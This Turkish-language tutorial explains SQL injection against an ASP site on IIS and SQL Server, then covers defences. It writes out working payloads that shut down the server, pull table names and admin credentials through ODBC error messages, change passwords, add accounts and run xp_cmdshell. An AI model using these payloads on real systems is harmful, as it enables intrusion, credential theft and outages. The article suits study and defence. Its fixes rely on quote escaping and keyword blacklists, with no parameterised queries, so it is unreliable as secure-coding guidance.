Güvenlikte sıkça kullanılan
bir deyim; "Saldırganlardan korunabilmek için onlar
gibi düşünmelisiniz!..". Saldırganın sisteminize
girmek için kullanabileceği yöntemleri bilmek bu saldırılardan
korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.
Örneklerde kullanacağımız
hedef ; Microsoft® Internet Information Server™' dan
Microsoft® SQL Server™'a varsayılan sistem hesabı'ndan (sa)
bağlanan ASP tabanlı bir kullanıcı hesabı yöneticisi
olacak.
Form.asp : Username ve Password girdisini alan form.Solda...
Login.asp : Veritabanı ile bağlantıya geçen ve girdinin doğruluğunu
kontrol eden ASP kodu.
2.3. SQL Server Hedef Alınarak
Yapılan Saldırılar:
Yönetici haklarına sahip saldırgan silme,ekleme,değiştirme...vb gibi
komutları rahatlıkla çalıştırabilecektir.
SHUTDOWN WITH NOWAIT SQL Server'ın kritik komutlarından bir
tanesidir. Komutla beraber SQL Server görevine son
verir.
Username : '; SHUTDOWN WITH NOWAIT--
Password : [Boş]
Bu girdilerle oluşturulan SQL Deyimi;
SELECT Username FROM Users WHERE
Username=''; SHUTDOWN WITH NOWAIT; --' AND Password=''
Sonuç : SQL Server kullanıcıadının bulunamadığı
mesajını verecektir. Fakat bununla beraber arka planda diğer
komutu çalıştırdığı için SQL Server kapanacaktır.
2.4. ODBC Hatalarından
Faydalanarak Yapılan Saldırılar:
SQL Server'ın verdiği
hatalardan faydalanarak veritabanındaki neredeyse tüm
bilgilere ulaşmak mümkündür.
Hedef; http://Victim/Default.asp?id=10 şeklinde ürün ID
leri ile çalışan ASP tabanlı bir websitesi.
Saldırı SQL Server'ın integer ve string cinsinden verileri
birlikte gönderememesinden faydalınarak yapılabilir;
Gönderilen '10' sayısına veritabanından herhangi bir
string eklenir.
http://Victim/Default.asp?id=10 UNION
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu,
sistemde bulunan diğer tüm tablolar hakkında bilgi içerir.
Deyimde kullanılan "TABLE_NAME" de yine tüm tablo
isimlerini içerir.
Oluşacak SQL Deyimi;
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki
hatayı verecektir.
Microsoft OLE DB Provider for ODBC
Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'Table1' to a column of data
type int.
/Default.asp, line 5
Hata, saldırgana "Table1" olarak bulduğu cevabı
integer a çeviremediğini (dolayısıyla veritabanındaki ilk
tablo adının "Table1" olduğunu) belirtmektedir.
Saldırgan diğer tabloların adını aşağıdaki şekilde öğrenebilir...
http://Victim/Default.asp?id=10 UNION
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME NOT IN ('Table1')--
Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha
kolay yoldan ulaşabilir;
http://Victim/Default.asp?id=10 UNION
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME LIKE '%25Login%25'--
SQL Server'ın vereceği hata;
Microsoft OLE DB Provider for ODBC
Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'Admin_Login' to a column of
data type int.
/Default.asp, line 5
Admin_Login adında bir tablo olduğunu öğrenen saldırgan
muhtemelen tablodaki ilk kullanıcıadı ve şifreye ulaşmak
isteyecektir. İzleyebileceği yol ise;
http://Victim/Default.asp?id=10 UNION
SELECT TOP 1 Username FROM Admin_Login--
Hata;
Microsoft OLE DB Provider for ODBC
Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value 'ilkay' to a column of data type
int.
/Default.asp, line 5
Bu şekilde "admin" kullanıcıadının varlığını
doğrulayan saldırganın şifreyi ele geçirmek için
kullanacağı girdi;
http://Victim/Default.asp?id=10 UNION
SELECT TOP 1 Password FROM Admin_Login WHERE Username='ilkay'--
Hata;
Microsoft OLE DB Provider for ODBC
Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error
converting the nvarchar value '2081' to a column of data type
int.
/Default.asp, line 5
Sonuç :
Username : ilkay
Password : 2081
Kullanıcıadı ve şifre bilgisine ulaşan
muhtemel saldırgan benzer yöntemleri ve UPDATE,INSERT
komutlarını kullanarak şifreyi değiştirebilir veya daha
temizi başka bir kullanıcı hesabı açabilir...
http://Victim/Default.asp?id=10; UPDATE
'Admin_Login' SET 'Password' = 'NewPwd' WHERE Username='ilkay'--
Yeni bir kullanıcı hesabı için;
http://Victim/Default.asp?id=10; INSERT
INTO 'Admin_Login' ('UserID', 'Username', 'Password', 'Details')
VALUES (666,'Desperate_Cry','2081','N/A')--
Gelebilecek SQL Enjeksiyon saldırılarından
korunabilmek için alınan önlemlerde temel alınması geren
nokta... "Aksi doğrulanıncaya kadar tüm kullanıcı
girdileri kötüdür!".
3.1.
Kullanıcı Haklarının Sınırlandırılması
Yaygın olarak yapılan hata;
Web Server dan SQL Server a yapılan bağlantılarda varsayılan
sistem hesabı kullanılması... Bu şekilde yönetici haklarına
sahip olan saldırgan örneklerde de görülebileceği üzere
isteği komutu çalıştırıp istediği ekleme,silme,düzeltme
eylemini gerçekleştirebilecektir. Bunu yerine yapılması
gereken yeni bir kullanıcı hesabı oluşturup kullanıcının
çalıştırabileceği komutları sınırlandırmak olacaktır.
Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından
sipariş verilmesine izin verecekseniz, "web_user"
gibi bir kullanıcı adı oluşturup ürünleri incelemek için;
ürünler sütununda sadece "SELECT" kullanımına
ve siparişleri için; siparişler sütununda sadece "INSERT"
kullanımına izin vermeniz uygun olacaktır.
3.2.
Girdilerde Tırnak İmleçlerinin (') Kötü Amaçlı Kullanımının
Engellenmesi
Yaygın SQL Enjeksiyon saldırıları
SQL deyimlerinin girdilerdeki gereksiz (') tırnak işaretleri
yardımıyla yeniden oluşturulması sayesinde yapılır.
Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa
çeviren bir fonksiyon muhtemel bir saldırıyı engellmek için
yeterli olabilir.
ASP Kullanarak girdileri kontrol ederek değiştiren bir
fonksiyon kolaylıkla yazılabilir;
<%
Function
ReplaceQuotes(strWords)
ReplaceQuotes
= Replace(strWords,”’”,”””)
End
Function
%>
Bu fonksiyonu baştaki örnekte
kullanırsak;
SELECT count(*) FROM Users WHERE Username='ilkay'
AND Password='' OR 1=1 --'
şeklinde olan deyim...
SELECT
count(*) FROM Users WHERE Username='ilkay' AND Password='"
OR 1=1 --'
'e dönüşecektir.
3.3.
Form Girdilerinden Gereksiz Karakterlerin Elenmesi
SQL Enjeksiyon saldırıları genelde ";,
--,SELECT, INSERT ve xp_" gibi karakterlerin-kelimelerin
kullanılmasıyla yapıldığı için gönderilecek girdinin
önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayıflığı
engelleyebilir.Örneğin kullanıcıdan E - Mail adresini
girmesi isteniyorsa harfler ve sayıların yanında sadece
" @,-,_,." karakterlerinin kullanılmasına izin
verilmelidir.
Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin
gibi genel prosedürler,C/C++ tabanlı DLL ler, kullanıcı
taraflı fonksiyonlar...vb, izole edilmiş bir sunucuya taşınmalıdır.
Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda
örneklenmiştir;
<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array("SELECT", "DROP",
";", "--", "INSERT", "DELETE",
"xp_")
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), "")
Next
FilterBadWords = NewWords
End Function
%>
Tırnak değiştirme fonksiyonu ve filtreleme
fonksiyonu beraber kullanılırsa;
SELECT Username FROM
Users WHERE Usename=''; EXEC master..xp_cmdshell 'dir c'; --'
AND Password=''
Şeklindeki SQL Deyimi...
SELECT Username FROM Users WHERE Usename='"
EXEC master.. cmdshell "dir c:" ' AND Password=''
e dönüşecektir ki bu da herhangi bir kayıt bulumadığı
hatasını vermekten öteye gitmeyecektir.
Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres
satırı ifadelerine ve çerezlerden gelen tüm veriye
uygulamamız gelebilecek saldırının önüne geçecektir.
3.4.
Girdi Uzunluğunun Sınırlandırılması
Veritabanındaki ayrılan alanın uzunluğu 10
karakterlikse, formunuzda bu alan için 50 karakter sığan
bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün
olduğu kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı
engellemek için önlem sayılabilir.
3.5.
Girdi Cinsinin Kontrol Edilmesi
Formunuzdan girilen verinin istediğiniz türden
bir veri olup olmadığını kontrol eden bir fonksiyon kötü
amaçlı kullanımlarda saldırganın kullanabileceği
harf/sayı seçeneğini kısıtlayacaktır. Mesela, eğer Ürün
ID si için formunuzdan girdi alıyorsanız girdinin sayısal
bir ifade olup olmadığını kontrol eden bir fonksiyon fayda
sağlayacaktır.
3.6.
Girdi Cinsinin Kontrol Edilmesi
Formunuz aracılığı ile topladığınız
verileri yollarken mutlaka "POST" metodunu kullanın
ki kullanıcılarınız adres çubuğunda girdikleri verilerle
beraber form değerlerini gördüklerinde akıllarına farklı
fikirler gelmesin.
Aldığınız güvenlik önlemleri veya (en
iyi ihtimalle) yazıp da kullanmayı bir alışkanlık haline
getiremediğiniz güvenlik politikaları sizi güvenlik
problemlerine karşı koruyabilir mi? Eğer güvenlik ile
ilgili problemleri yönetmeyi süreç temelli bir güvenlik
bilinci içerisinde ele almıyorsanız hiçbir güvenlik ürünü,
bir güvenlik kaybına uğramanızı engelleyemez.
Bilgi sistemleri altyapınızı taşıdıkları güvenlik
zaaflarına karşı düzenli olarak kontrol ettirmek,
risklerinizi takip etmek, doğru teknolojiyi doğru yerde ve
doğru şekilde kullanmanızı sağlayacak güvenlik
politikalarınızı oluşturup güvenlik probleminizi sürekli
yönetebilecek olgunluğa ulaşmak hedeflenmelidir. Bilgi
sistemlerinin önemli bir kısmını oluşturan uygulamaların
taşıyabileceği güvenlik sorunları uzun süredir ihmal
edilmelerinden dolayı, günümüzün en popüler sistem sızma
noktalarını teşkil etmektedirler. Bu nedenle uygulama güvenliğine
ilişkin gereken önemi vermeniz, güvenlik denetimi yaptırmanız
ve kurumunuzun bilgi güvenliği yönetim sistemini oluşturmaya
bir yerinden başlamanızı öneriyoruz.